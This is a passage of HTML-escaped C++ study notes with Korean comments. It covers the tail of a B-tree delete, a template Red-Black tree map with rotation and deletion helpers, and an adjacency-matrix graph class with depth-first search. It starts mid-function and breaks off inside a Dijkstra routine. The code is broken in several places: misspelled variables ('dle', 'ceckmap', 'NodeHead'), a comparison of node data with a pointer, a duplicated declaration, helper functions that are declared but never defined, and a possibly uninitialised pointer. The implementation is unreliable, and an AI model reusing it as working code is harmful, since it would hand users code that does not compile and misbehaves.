{<br>&nbsp;&nbsp;if(t-&gt;Size() &lt;= m_nDim/2 &amp;&amp; p != m_pNodeHead) { //확장할 필요가 있으면 확장<br>&nbsp;&nbsp;&nbsp;if(!_BorrowKey(p,pi))// 형제에게 빌려보고 실패하면 형제와 결합<br>&nbsp;&nbsp;&nbsp;&nbsp;t = _BindNode(p,pi);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;if((ti = t-&gt;FindKey(value)) &gt;= 0) { //삭제키가 이 노드에 있으면<br>&nbsp;&nbsp;&nbsp;if(t-&gt;Left(0) == 0) break; //외부노드이면 break;<br>&nbsp;&nbsp;&nbsp;else value = _SwapKey(t,ti); //내부노드이면 바꿈. 이제 새로운 value를 아래로 내려야 한다.<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;p = t;<br>&nbsp;&nbsp;for(pi =0; pi &lt;t-&gt;Size() &amp;&amp; (value &gt; t-&gt;Key(pi) || value == t-&gt;Key(pi));pi++);<br>&nbsp;&nbsp;t = t-&gt;Left(pi);<br>&nbsp;}<br>&nbsp;if(t == 0) return false;<br>&nbsp;if(t-&gt;Size() &lt;= m_nDim/2 &amp;&amp; p!=NodeHead) //외부노드인데 키수가 너무 적으면<br>&nbsp;&nbsp;if(!_BorrowKey(p,pi)) t = _BindNode(p,pi);<br>&nbsp;t-&gt;DelValue(t-&gt;FindKey(value)); //노드키를 삭제<br>&nbsp;m_nCount--;<br>&nbsp;return true;<br>}</p><p>/*<br>&nbsp;Red-Black Tree의 특징<br>&nbsp;&nbsp; - 2-3-4트리의 Balanced 특성을 Binary Tree 표현<br>&nbsp;&nbsp;&nbsp; *2-3-4tree 3차 B-tree<br>&nbsp;Red-Black Tree의 특성 <br>&nbsp;&nbsp; -빨간노드와 검정노드 두가지가 있음<br>&nbsp;&nbsp; -빨간노드는 검정노드와 결합되는 의미<br>&nbsp;&nbsp; -Red-Edge, Black-Edge로 표현하기도 함<br>&nbsp; 성질<br>&nbsp;&nbsp; -부모노드는 왼쪽 서브트리보다 크고 오른쪽 서브트리보다 작다.<br>&nbsp;&nbsp; -Root에서 Leaf로 가는 경로의 검정노드의 수는 모두 같다.<br>&nbsp;&nbsp; -새로 삽입되는 노드는 Leaf에 위치하며 빨간노드이다.<br>&nbsp;&nbsp; -경로상에 연이어 두개의 빨간노드가 있을 수 없다. (회전필요)<br>&nbsp;&nbsp; -부모의 두 자식노드가 모두 빨간노드이면, 부모를 빨간노드로 하고 <br>&nbsp;&nbsp; 자식은 검정노드로 바뀔 수 있따. (생상변환)<br>&nbsp;&nbsp; -Root노드는 빨간 노드일 수 없다.(검정색으로 변환)<br>&nbsp;&nbsp; -빨간노드는 자식이 없던가, 있있다면 두개의 검정노드여야 한다. <br>&nbsp;&nbsp; 검정노드는 자식이 없던가. 있다면 하나의 빨간노드나 두개의 빨간노드나 두개의 검정노드를 가진다. <br>&nbsp;&nbsp;&nbsp; *즉 단 하나의 검정노드를 자식으로 가질 수 없다. </p><p>&nbsp;색변환(Color Flip)<br>&nbsp; -상향색변환 : B-Tree의 Split 동작<br>&nbsp;&nbsp; *빨강을 위로 올림<br>&nbsp; -하향색변환 : B-Tree의 BindeNode 동작<br>&nbsp;&nbsp; *빨강을 아래로 내림<br>&nbsp;회전은<br>&nbsp; -이진 트리의 규틱을 깨지 않고 트리를 재구성하는 방법<br>&nbsp; -우회전(RightRotation)과 좌회전 (Left Rotation)<br>&nbsp; -좌우의 트리높이를 맞추는 방향으로 회전함<br>&nbsp;&nbsp; *AVL트리의 기본 Operation<br>&nbsp;<br>*/<br>template &lt;class T&gt; class RBTreeMap<br>{<br>public:<br>&nbsp;RBTreeMap();<br>&nbsp;~RBTreeMap();<br>&nbsp;//Utilities<br>&nbsp;long GetCount() const { return m_nCount; }<br>&nbsp;bool IsEmpty() const { return m_nCount ==0; }<br>&nbsp;void RemoveAll();<br>&nbsp;void RemoveSubtree(Node* p);<br>&nbsp;//Operations<br>&nbsp;bool Find(const T&amp; key, T&amp; value) const;<br>&nbsp;bool Insert(const T&amp; value);<br>&nbsp;bool Remove(const T&amp; key);<br>protected:<br>&nbsp;struct Node {<br>&nbsp;&nbsp;T data;<br>&nbsp;&nbsp;Node *pLeft; Node *pRight;<br>&nbsp;&nbsp;bool Red;<br>&nbsp;&nbsp;Node() {pLeft = pRight = 0; Red = false; }<br>&nbsp;};<br>&nbsp;Node* _Rotate(const T&amp; key, Node* pivot);<br>&nbsp;bool _IsLeafNode(const Node *p)const;<br>&nbsp;bool _Is2Node(const Node *p)const;<br>&nbsp;bool _DelLeafNode(const T&amp; key, Node *delp, Node *del);<br>&nbsp;bool _RedAsParent(Node *delgp, Node *delp, Node *sib);<br>&nbsp;T _SwapKey(Node *del);<br>&nbsp;bool _BorrowKey(Node *delgp, Node *delp, Node *del, Node *sib);<br>&nbsp;void _BindNode(Node *delp);<br>&nbsp;void RemoveSubtree(Node *pNode);<br>&nbsp;Node *m_pNodeHead;<br>&nbsp;long m_nCount;<br>};<br>template &lt;class T&gt;<br>RBTreeMap&lt;T&gt;::RBTreeMap()<br>{<br>&nbsp;m_pNodeHead = new Node;<br>&nbsp;m_pNodeHead-&gt;pRight = m_pNodeHead-&gt;pLeft =0;<br>}<br>template &lt;class T&gt;<br>RBTreeMap&lt;T&gt;::~RBTreeMap()<br>{<br>&nbsp;RemoveAll();<br>&nbsp;if(m_pNodeHead)<br>&nbsp;&nbsp;delete m_pNodeHead;<br>}<br>template &lt;class T&gt; void<br>RBTreeMap&lt;T&gt;::RemoveAll()<br>{<br>&nbsp;ListStack&lt;Node*&gt; stack;<br>&nbsp;Node *t;<br>&nbsp;stack.Push(m_pNodeHead-&gt;pLeft);<br>&nbsp;while(!stack.IsEmpty())<br>&nbsp;{<br>&nbsp;&nbsp;t = stack.Pop();<br>&nbsp;&nbsp;if(t){<br>&nbsp;&nbsp;&nbsp;stack.Push(t-&gt;pRight);<br>&nbsp;&nbsp;&nbsp;stack.Push(t-&gt;pLeft);<br>&nbsp;&nbsp;&nbsp;delete t;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;m_pNodeHead-&gt;pLeft = 0;<br>&nbsp;m_nCount = 0;<br>}</p><p>template &lt;class T&gt;<br>bool RBTreeMap&lt;T&gt;::Find(const T&amp; key, T&amp; value) const<br>{<br>&nbsp;Node *s;<br>&nbsp;s = m_pNodeHead-&gt;pLeft;<br>&nbsp;while (s &amp;&amp; !(key == s-&gt;data))<br>&nbsp;{<br>&nbsp;&nbsp;if(key &gt;s-&gt;data) s = s-&gt;pRight;<br>&nbsp;&nbsp;else s = s-&gt;pLeft;<br>&nbsp;}<br>&nbsp;if(s == 0) return false;<br>&nbsp;value = s-&gt;data;<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;Red-Black 트리 삽입 알고리즘<br>&nbsp; -왼쪽서브트리 &lt; 부모 &lt; 오른쪽서브트리 규칙에 맞게 하향탐색<br>&nbsp; -하향 탐색을 하면서 Color Promotion한다.<br>&nbsp;&nbsp; *만일 빨간노드가 연속될때는 (Double) Rotation을 한다.<br>&nbsp;&nbsp;&nbsp;&nbsp; -Leaf에 도달하면 빨간노드로 자료를 삽입한다.<br>&nbsp;&nbsp; *만일 빨간노드가 연속될때는 (Double) Rotation을 한다.</p><p>*/<br>template &lt;class T&gt;<br>RBTreeMap&lt;T&gt;::Node* RBTreeMap&lt;T&gt;::_Rotate(const T&amp; key, Node* pivot)<br>{<br>&nbsp;Node *child, *gchild;<br>&nbsp;if((key&gt;pivot-&gt;data || key == pivot-&gt;data) &amp;&amp; pivot != m_pNodeHead)<br>&nbsp;&nbsp;child = (Node*)pivot-&gt;pRight;<br>&nbsp;else<br>&nbsp;&nbsp;child = (Node*)pivot-&gt;pLeft;<br>&nbsp;if(key &gt; child-&gt;data || key == child-&gt;data) //Rotate Left<br>&nbsp;{<br>&nbsp;&nbsp;gchild = (Node*)child-&gt;pRight;<br>&nbsp;&nbsp;child-&gt;pRight = gchild-&gt;pLeft;<br>&nbsp;&nbsp;gchild-&gt;pLeft = (Node*)child;<br>&nbsp;}<br>&nbsp;else&nbsp;// Rotate Right<br>&nbsp;{<br>&nbsp;&nbsp;gchild = (Node*)child-&gt;pLeft;<br>&nbsp;&nbsp;child-&gt;pLeft = gchild-&gt;pRight;<br>&nbsp;&nbsp;gchild-&gt;pRight = (Node*)child;<br>&nbsp;}<br>&nbsp;if((key&gt;pivot-&gt;data || key == pivot-&gt;data) &amp;&amp; pivot != m_pNodeHead)<br>&nbsp;&nbsp;pivot-&gt;pRight = gchild;<br>&nbsp;else<br>&nbsp;&nbsp;pivot-&gt;pLeft = gchild;<br>&nbsp;return gchild;<br>}<br>template &lt;class T&gt;<br>bool RBTreeMap&lt;T&gt;::Insert(const T&amp; value)<br>{<br>&nbsp;Node *t,*p,*gp,*ggp;<br>&nbsp;ggp = gp = p = (Node*)m_pNodeHead;<br>&nbsp;t = (Node*)m_pNodeHead-&gt;pLeft;<br>&nbsp;while(t) {<br>&nbsp;&nbsp;if(value == t-&gt;data) return false; //중복키 삽입금지<br>&nbsp;&nbsp;if(t-&gt;pLeft &amp;&amp; t-&gt;pRight &amp;&amp;<br>&nbsp;&nbsp;&nbsp;t-&gt;pLeft-&gt;Red &amp;&amp; t-&gt;pRight-&gt;Red) {<br>&nbsp;&nbsp;&nbsp;// Color Promotion<br>&nbsp;&nbsp;&nbsp;t-&gt;Red = true;<br>&nbsp;&nbsp;&nbsp;t-&gt;pLeft-&gt;Red = t-&gt;pRight-&gt;Red = false;<br>&nbsp;&nbsp;&nbsp;if(p-&gt;Red) { // 회전이 필요<br>&nbsp;&nbsp;&nbsp;&nbsp;gp-&gt;Red = true;<br>&nbsp;&nbsp;&nbsp;&nbsp;if((value&gt;gp-&gt;data) !=(value&gt;p-&gt;data))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p = _Rotate(value,gp); // double-Rotation<br>&nbsp;&nbsp;&nbsp;&nbsp;t = _Rotate(value,ggp);<br>&nbsp;&nbsp;&nbsp;&nbsp;t-&gt;Red = false;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;//뿌리는 검정으로<br>&nbsp;&nbsp;&nbsp;m_pNodeHead-&gt;pLeft-&gt;Red = false;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;ggp = gp; gp = p; p = t;<br>&nbsp;&nbsp;if ( value &gt; t-&gt;data) t = t-&gt;pRight;<br>&nbsp;&nbsp;else t = t-&gt;pLeft;<br>&nbsp;}<br>&nbsp;t = new Node;<br>&nbsp;t-&gt;data = value;<br>&nbsp;t-&gt;pLeft = t-&gt;pRight = 0;<br>&nbsp;t-&gt;Red = true; //새로삽입되는 노드는 레드<br>&nbsp;if(value &gt; p-&gt;data &amp;&amp; p!= m_pNodeHead)<br>&nbsp;&nbsp;p-&gt;pRight = t;<br>&nbsp;else<br>&nbsp;&nbsp;p-&gt;pLeft = t;<br>&nbsp;m_nCount++;<br>&nbsp;if(p-&gt;Red) { //부모가 빨강이면 회전<br>&nbsp;&nbsp;gp-&gt;Red = true;<br>&nbsp;&nbsp;if((value&gt;gp-&gt;data)!=(value &gt; p-&gt;data))<br>&nbsp;&nbsp;&nbsp;p = _Rotate(value,gp); //double rotation<br>&nbsp;&nbsp;t = _Rotate(value, ggp);<br>&nbsp;&nbsp;t-&gt;Red = false;<br>&nbsp;}<br>&nbsp;// root는 검정으로<br>&nbsp;m_pNodeHead-&gt;pLeft-&gt;Red = false;<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;Red-Black 트리 삭제 알고리즘<br>&nbsp;-원칙1: Leaf 3-4노드의 삭제는 Trivial하다.<br>&nbsp;-원칙2: 3노드의 등가표현 중 하향탐색경로 쪽으로 빨간노드가 위치하도록 바꾼다.<br>&nbsp;&nbsp; *Color Demotion의 편이를 위해<br>&nbsp;-원칙3: 삭제키를 찾는 하향탐색 중에 2노드를 3-4노드로 부풀려야 한다.(Color Demotion)<br>&nbsp;&nbsp; *형제에게서 빌리기 vs 형제와 결합하기<br>&nbsp;-원칙4: 내부노드의 삭제는 In-Order Successor (Predecessor)와 바꿔치기 한 다음 Leaf 3-4노드의 삭제문제로 돌린다.</p><p>*/<br>template &lt;class T&gt;<br>bool RBTreeMap&lt;T&gt;::_DelLeafNode(const T&amp; key, Node *delp, Node *del)<br>{<br>&nbsp;if(key == del-&gt;data &amp;&amp; !del-&gt;pLeft &amp;&amp; !del-&gt;pRight) {<br>&nbsp;&nbsp;//red leaf나 black leaf인 경우<br>&nbsp;&nbsp;delete del;<br>&nbsp;&nbsp;if((key &gt; delp-&gt;data || key == delp-&gt;data)<br>&nbsp;&nbsp;&nbsp;&amp;&amp; delp-&gt;data != m_pNodeHead)<br>&nbsp;&nbsp;&nbsp;delp-&gt;pRight = 0;<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;delp-&gt;pLeft = 0;<br>&nbsp;&nbsp;return true;<br>&nbsp;} <br>&nbsp;else if (key == del-&gt;data) { //black node<br>&nbsp;&nbsp;Node *ret;<br>&nbsp;&nbsp;if(del-&gt;pLeft) {<br>&nbsp;&nbsp;&nbsp;del-&gt;pLeft-&gt;pRight = del-&gt;pRight;<br>&nbsp;&nbsp;&nbsp;ret = del-&gt;pLeft;<br>&nbsp;&nbsp;&nbsp;ret-&gt;Red = false;<br>&nbsp;&nbsp;&nbsp;delete del;<br>&nbsp;&nbsp;} else if (del-&gt;pRight) { // Delete Right Child<br>&nbsp;&nbsp;&nbsp;del-&gt;pRight-&gt;pLeft = del-&gt;pLeft;<br>&nbsp;&nbsp;&nbsp;ret = del-&gt;pRight;<br>&nbsp;&nbsp;&nbsp;ret-&gt;Red = false;<br>&nbsp;&nbsp;&nbsp;delete del;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;if((ret-&gt;data &gt; delp-&gt;data || ret-&gt;data == delp-&gt;data)<br>&nbsp;&nbsp;&nbsp;&amp;&amp; delp != m_pNodeHead)<br>&nbsp;&nbsp;&nbsp;delp-&gt;pRight = ret;<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;delp-&gt;pLeft = ret;<br>&nbsp;&nbsp;return true;<br>&nbsp;} <br>&nbsp;else if ( del-&gt;pLeft &amp;&amp; key == del-&gt;pLeft-&gt;data) {<br>&nbsp;&nbsp;delete del-&gt;pLeft;<br>&nbsp;&nbsp;del-&gt;pLeft = 0;<br>&nbsp;&nbsp;return true;<br>&nbsp;}<br>&nbsp;else if ( del-&gt;pRight &amp;&amp; key == del-&gt;pRight-&gt;data) {<br>&nbsp;&nbsp;delete del-&gt;pRight;<br>&nbsp;&nbsp;del-&gt;pRight = 0;<br>&nbsp;&nbsp;return true;<br>&nbsp;} else {<br>&nbsp;&nbsp;return false;<br>&nbsp;}<br>}<br>/*<br>&nbsp;삭제의 하향 탐색 경로로 빨간노드 옮기는 함수<br>&nbsp;Sibling 이 Red인경우<br>*/<br>template &lt;class T&gt; <br>bool RBTreeMap&lt;T&gt;::_RedAsParent(Node *delgp, Node *delp, Node *sib)<br>{<br>&nbsp;if(sib == 0 || !sib-&gt;Red)<br>&nbsp;&nbsp;return false;</p><p>&nbsp;_Rotate(sib-&gt;data,delgp);<br>&nbsp;sib-&gt;Red = false;<br>&nbsp;delp-&gt;Red = true;<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;형제와 결합하기<br>&nbsp;sibling이 black node 이고 Sibling의 두자식도 black Node인 경우<br>&nbsp;Color Demotion에 의해 노드병합</p><p>*/<br>template &lt;class T&gt;<br>void RBTreeMap&lt;T&gt;::_BindNode(Node *delp)<br>{<br>&nbsp;delp-&gt;Red = false;</p><p>&nbsp;delp-&gt;pLeft-&gt;Red = true;<br>&nbsp;delp-&gt;pRight-&gt;Red = true;<br>}<br>/*<br>&nbsp;형제에게 빌리기1(단일회전)<br>&nbsp;sibling이 Black Node 이고 Sibling의 자식의 하나이상 Red Node<br>&nbsp;<br>*/<br>template &lt;class T&gt;<br>bool RBTreeMap&lt;T&gt;::_BorrowKey(Node *delgp, Node *delp, Node* del, Node *sib)<br>{<br>&nbsp;Node *sibrc;<br>&nbsp;if(_Is2Node(sib)) return false;<br>&nbsp;if(del-&gt;data &gt; sib-&gt;data) {<br>&nbsp;&nbsp;if(sib-&gt;pLeft &amp;&amp; sib-&gt;pLeft-&gt;Red) sibrc = sib-&gt;pLeft;<br>&nbsp;&nbsp;else sibrc = sib-&gt;pRight;<br>&nbsp;} else {<br>&nbsp;&nbsp;if(sib-&gt;pRight &amp;&amp; sib-&gt;pRight-&gt;Red) sibrc = sib-&gt;pRight;<br>&nbsp;&nbsp;else sibrc = sib-&gt;pLeft;<br>&nbsp;}<br>&nbsp;if((delp-&gt;data &gt; sib-&gt;data) != (sib-&gt;data &gt; sibrc-&gt;data)) {<br>&nbsp;&nbsp;// double rotation<br>&nbsp;&nbsp;_Rotate(sibrc-&gt;data,delp);<br>&nbsp;&nbsp;_Rotate(sibrc-&gt;data,delgp);<br>&nbsp;&nbsp;sib-&gt;Red = false;<br>&nbsp;&nbsp;sibrc-&gt;Red = true;<br>&nbsp;} else {<br>&nbsp;&nbsp;// single rotation<br>&nbsp;&nbsp;_Rotate(sib-&gt;data,delgp);<br>&nbsp;&nbsp;sib-&gt;Red = true;<br>&nbsp;&nbsp;sibrc-&gt;Red = false;<br>&nbsp;}<br>&nbsp;del-&gt;Red = true;<br>&nbsp;delp-&gt;Red = false;<br>&nbsp;// Root가 빨강이면 검정으로 바꾼다.<br>&nbsp;if(m_pNodeHead-&gt;pLeft-&gt;Red)<br>&nbsp;&nbsp;m_pNodeHead-&gt;pLeft-&gt;Red = false;<br>&nbsp;return true;<br>}<br>template &lt;class T&gt;<br>bool RBTreeMap&lt;T&gt;::Remove(const T&amp; key)<br>{<br>&nbsp;Node *delgp, *delp, *del, *sib;<br>&nbsp;T value = key;<br>&nbsp;delgp = delp = m_pNodeHead;<br>&nbsp;del = m_pNodeHead-&gt;pLeft;<br>&nbsp;sib = 0;<br>&nbsp;while (!_IsLeafNode(del)) {<br>&nbsp;&nbsp;if(!del-&gt;Red) { // del이 Black이면 Rotation<br>&nbsp;&nbsp;&nbsp;if(_RedAsParent(delgp,delp,sib)){<br>&nbsp;&nbsp;&nbsp;&nbsp;// delgp 와 sib의 위치가 변했다. 새로수정<br>&nbsp;&nbsp;&nbsp;&nbsp;delgp = sib;<br>&nbsp;&nbsp;&nbsp;&nbsp;if(del-&gt;data &gt; delp-&gt;data ||<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;del-&gt;data == delp-&gt;data)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sib = delp-&gt;pLeft;<br>&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sib = delp-&gt;pRight;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;if(del!= m_pNodeHead-&gt;pLeft &amp;&amp; _Is2Node(del)) {<br>&nbsp;&nbsp;&nbsp;&nbsp;if(!_BorrowKey(delgp,delp,del,sib))_BindNode(delp);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;if(value == del-&gt;data) value = _SwapKey(del);<br>&nbsp;&nbsp;&nbsp;delgp = delp;<br>&nbsp;&nbsp;&nbsp;delp = del;<br>&nbsp;&nbsp;&nbsp;if(value &gt; del-&gt;data || value == del-&gt;data) {<br>&nbsp;&nbsp;&nbsp;&nbsp;sib = del-&gt;pLeft;<br>&nbsp;&nbsp;&nbsp;&nbsp;del = del-&gt;pRight;<br>&nbsp;&nbsp;&nbsp;} else {<br>&nbsp;&nbsp;&nbsp;&nbsp;sib = del-&gt;pRight;<br>&nbsp;&nbsp;&nbsp;&nbsp;del = del-&gt;pLeft;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}&nbsp;<br>&nbsp;if(!del-&gt;Red) {<br>&nbsp;&nbsp;if(_RedAsParent(delgp,delp,sib)){<br>&nbsp;&nbsp;&nbsp;delgp = sib;<br>&nbsp;&nbsp;&nbsp;if(del-&gt;data &gt; delp-&gt;data ||<br>&nbsp;&nbsp;&nbsp;&nbsp;del-&gt;data == delp-&gt;data)<br>&nbsp;&nbsp;&nbsp;&nbsp;sib = delp-&gt;pLeft;<br>&nbsp;&nbsp;&nbsp;else <br>&nbsp;&nbsp;&nbsp;&nbsp;sib = delp-&gt;pRight;<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;if(del != m_pNodeHead-&gt;pLeft &amp;&amp;<br>&nbsp;&nbsp;_Is2Node(del)){<br>&nbsp;&nbsp;if(!_BorrowKey(delgp,delp,dle,sib))<br>&nbsp;&nbsp;&nbsp;_BindNode(delp);<br>&nbsp;}<br>&nbsp;if(_DelLeafNode(value,delp,del)){<br>&nbsp;&nbsp;m_nCount--;<br>&nbsp;&nbsp;return true;<br>&nbsp;} else {<br>&nbsp;&nbsp;return false;<br>&nbsp;}<br>}</p><p>/*<br>&nbsp;그래프 Graph<br>&nbsp;구현방법<br>&nbsp;&nbsp; -인접행렬법(Adjacency Matrix)<br>&nbsp;&nbsp; -인접리스트법(Adjacency List)<br>&nbsp;탐색방법<br>&nbsp;&nbsp; -깊이우선탐색(Depth First Search)<br>&nbsp;&nbsp; -너비우선탐색(Breadth First Search)</p><p>&nbsp;&nbsp;&nbsp; 정점(vertex),간선(Edge)의 집합<br>&nbsp;&nbsp; -항공로: 공항과 노선<br>&nbsp;&nbsp; -전자회로: Chip과 선로<br>&nbsp;&nbsp; *위상(Topology)만 중요함<br>&nbsp;경로(Path)<br>&nbsp;&nbsp; -단순경로(Simple Path): 중복이 없는 경로<br>&nbsp;회로(Cycle)<br>&nbsp;부분그래프(Subgraph)<br>&nbsp;신장나무(Spanning Tree) :회로가 없는 부분그래프(트리)<br>&nbsp;완전그래프(Complete Graph) :정점의 갯수가 V일때 간선의 갯수가 V(V-1)/2 인 그래프<br>&nbsp;밀집그래프(Dense Graph) : 간선이 많은<br>&nbsp;희소그래프(Sparse Graphy) : 간선이 적은<br>&nbsp;방향그래프(Directed Graph, Digraph)<br>&nbsp;무향그래프(Indirected graph)<br>&nbsp;가중그래프(Weighted Graph)<br>&nbsp;네트웍(Network) : 방향그래프 &amp; 가중그래프<br>&nbsp;내차수(Indegree)<br>&nbsp;외차수(Outdegree)</p><p>*/<br>/*<br>&nbsp;인접행렬법 Adjacency Matrix</p><p>*/<br>typedef long EDGE;<br>template &lt;class V&gt; class ArrayGraph<br>{<br>public:<br>&nbsp;ArrayGraph(int nSize = 100);<br>&nbsp;~ArrayGraph();<br>&nbsp;// utilities<br>&nbsp;bool AddEdge(const V&amp; v1, const V&amp; v2, EDGE w);<br>&nbsp;bool AddEdgeDir(const V&amp; v1, const V&amp; v2, EDGE w);<br>&nbsp;EDGE GetEdge(const V&amp; v1, const V&amp; v2);<br>&nbsp;bool SetEdge(const V&amp; v1, const V&amp; v2, EDGE w);<br>&nbsp;// virtual function<br>&nbsp;virtual void Visit(const V&amp; v) {}<br>&nbsp;virtual void VisitEdge(const V&amp; v1, const V&amp; v2) {}<br>&nbsp;//operations<br>&nbsp;void DFS();<br>&nbsp;void DFS_nr();<br>&nbsp;void BFS();<br>&nbsp;long CountComponents();<br>&nbsp;void FindAP(SingleList&lt;V&gt;&amp; aplist);<br>&nbsp;void ShortestPath_Dijkstra(const V&amp; start);<br>protected:<br>&nbsp;long _FindVertex(const V&amp; v);<br>&nbsp;long _AddVertex(const V&amp; v);<br>&nbsp;EDGE _GetEdgeByIndex(long i, long j);<br>&nbsp;bool _SetEdgeByIndex(long i, long j, EDGE w);<br>&nbsp;void _DFS(long i, RBTreeMap&lt;V&gt;&amp; checkmap);<br>&nbsp;V* m_pVertices;<br>&nbsp;long* m_pEdges;<br>&nbsp;long m_nSize;<br>&nbsp;long m_nCount;<br>};<br>template &lt;class V&gt;<br>ArrayGraph&lt;V&gt;::ArrayGraph(int nSize)<br>{<br>&nbsp;m_pVertices = new V[nSize];<br>&nbsp;m_pEdges = new long[nSize*nSize];<br>&nbsp;memset(m_pEdges,0,nSize*nSize*sizeof(EDGE));<br>&nbsp;m_nSize = nSize;<br>&nbsp;m_nCount = 0;<br>}<br>template &lt;class V&gt;<br>ArrayGraph&lt;V&gt;::~ArrayGraph()<br>{<br>&nbsp;delete[] m_pVertices;<br>&nbsp;delete[] m_pEdges;<br>}<br>template &lt;class V&gt; long <br>ArrayGraph&lt;V&gt;::_FindVertex(const V&amp; v)<br>{<br>&nbsp;for(int i =0; i &lt; m_nCount; i++) {<br>&nbsp;&nbsp;if(m_pVertices[i] == v) return i;<br>&nbsp;}<br>&nbsp;return -1;<br>}<br>template &lt;class V&gt; long <br>ArrayGraph&lt;V&gt;::_AddVertex(const V&amp; v)<br>{<br>&nbsp;if(m_nCount &gt;= m_nSize) return -1;<br>&nbsp;m_pVertices[m_nCount] =v;<br>&nbsp;return m_nCount++;<br>}<br>template &lt;class V&gt; EDGE <br>ArrayGraph&lt;V&gt;::_GetEdgeByIndex(long i, long j)<br>{<br>&nbsp;return m_pEdges[i*m_nSize+j];<br>}<br>template &lt;class V&gt; bool<br>ArrayGraph&lt;V&gt;::_SetEdgeByIndex(long i, long j,EDGE w)<br>{<br>&nbsp;if( i &lt; 0 || i &gt;= m_nCount || j &lt; 0 || j&gt;= m_nCount )<br>&nbsp;&nbsp;return false;<br>&nbsp;m_pEdges[i*m_nSize +j] = w;<br>&nbsp;return true;<br>}<br>template &lt;class V&gt; bool<br>ArrayGraph&lt;V&gt;::AddEdge(const V&amp; v1, const V&amp; v2, EDGE w)<br>{<br>&nbsp;long iv1, iv2;<br>&nbsp;iv1 = _FindVertex(v1);<br>&nbsp;if(iv1 &lt;0) iv1 = _AddVertex(v1);<br>&nbsp;if(iv1 &lt;0) return false;</p><p>&nbsp;iv2 = _FindVertex(v2);<br>&nbsp;if(iv2 &lt;0) iv2 = _AddVertex(v2);<br>&nbsp;if(iv2 &lt;0) return false;</p><p>&nbsp;_SetEdgeByIndex(iv1,iv2,w);<br>&nbsp;_SetEdgeByIndex(iv2,iv1,w);<br>&nbsp;<br>&nbsp;return true;<br>}<br>template &lt;class V&gt; bool<br>ArrayGraph&lt;V&gt;::AddEdgeDir(const V&amp; v1, const V&amp; v2, EDGE w)<br>{<br>&nbsp;long iv1, iv2;<br>&nbsp;iv1 = _FindVertex(v1);<br>&nbsp;if(iv1 &lt;0) iv1 = _AddVertex(v1);<br>&nbsp;if(iv1 &lt;0) return false;</p><p>&nbsp;iv2 = _FindVertex(v2);<br>&nbsp;if(iv2 &lt;0) iv2 = _AddVertex(v2);<br>&nbsp;if(iv2 &lt;0) return false;</p><p>&nbsp;_SetEdgeByIndex(iv1,iv2,w);<br>&nbsp;<br>&nbsp;return true;<br>}<br>template &lt;class V&gt; void<br>ArrayGraph&lt;V&gt;::DFS()<br>{<br>&nbsp;RBTreeMap&lt;V&gt; checkmap;<br>&nbsp;V v;<br>&nbsp;for(int i =0; i&lt;m_nCount; i++)<br>&nbsp;&nbsp;if(!checkmap.Find(m_pVertices[i], v)) _DFS(i,checkmap);</p><p>}<br>template &lt;class V&gt; void<br>ArrayGraph&lt;V&gt;::_DFS(long i, RBTreeMap&lt;V&gt;&amp; checkmap)<br>{<br>&nbsp;long j;<br>&nbsp;V v;<br>&nbsp;checkmap.Insert(m_pVertices[i]); // 방문 표시<br>&nbsp;Visit(m_pVertices[i]); // 방문<br>&nbsp;for ( j =0; j&lt; m_nCount; j++) {<br>&nbsp;&nbsp;if(_GetEdgeByIndex(i,j) != 0 &amp;&amp; !checkmap.Find(m_pVertices[j],v))<br>&nbsp;&nbsp;&nbsp;_DFS(j,checkmap);<br>&nbsp;}<br>}<br>template &lt;class V&gt; void<br>ArrayGraph&lt;V&gt;::DFS_nr()<br>{<br>&nbsp;long i, j;<br>&nbsp;ListStack&lt;long&gt; stack;<br>&nbsp;RBTreeMap&lt;V&gt; checkmap;<br>&nbsp;V v;<br>&nbsp;for(i = 0; i &lt; m_nCount; i++) {<br>&nbsp;&nbsp;if(!checkmap.Find(m_pVertices[i], v)) {<br>&nbsp;&nbsp;&nbsp;stack.Push(i);<br>&nbsp;&nbsp;&nbsp;checkmap.Insert(m_pVertices[i]);<br>&nbsp;&nbsp;&nbsp;while(!stack.IsEmpty()) {<br>&nbsp;&nbsp;&nbsp;&nbsp;i = stack.Pop();<br>&nbsp;&nbsp;&nbsp;&nbsp;Visit(m_pVertices[i]);<br>&nbsp;&nbsp;&nbsp;&nbsp;for(j = 0; j &lt; m_nCount; j++) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(_GetEdgeByIndex(i, j) != 0 &amp;&amp; !checkmap.Find(m_pVertices[j], v)) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stack.Push(j);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ceckmap.Insert(m_pVertices[j]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}</p><p>/*<br>&nbsp;Dijkstra Algorithm</p><p>*/<br>template &lt;class V&gt;<br>void ArrayGraph&lt;V&gt;::ShortestPath_Dijkstra(const V&amp; start)<br>{<br>&nbsp;int i; <br>&nbsp;int count = 0;<br>&nbsp;int x, y;<br>&nbsp;int s = _FindVertex(start);<br>&nbsp;bool *visited = new bool[m_nCount];<br>&nbsp;EDGE *distance = new 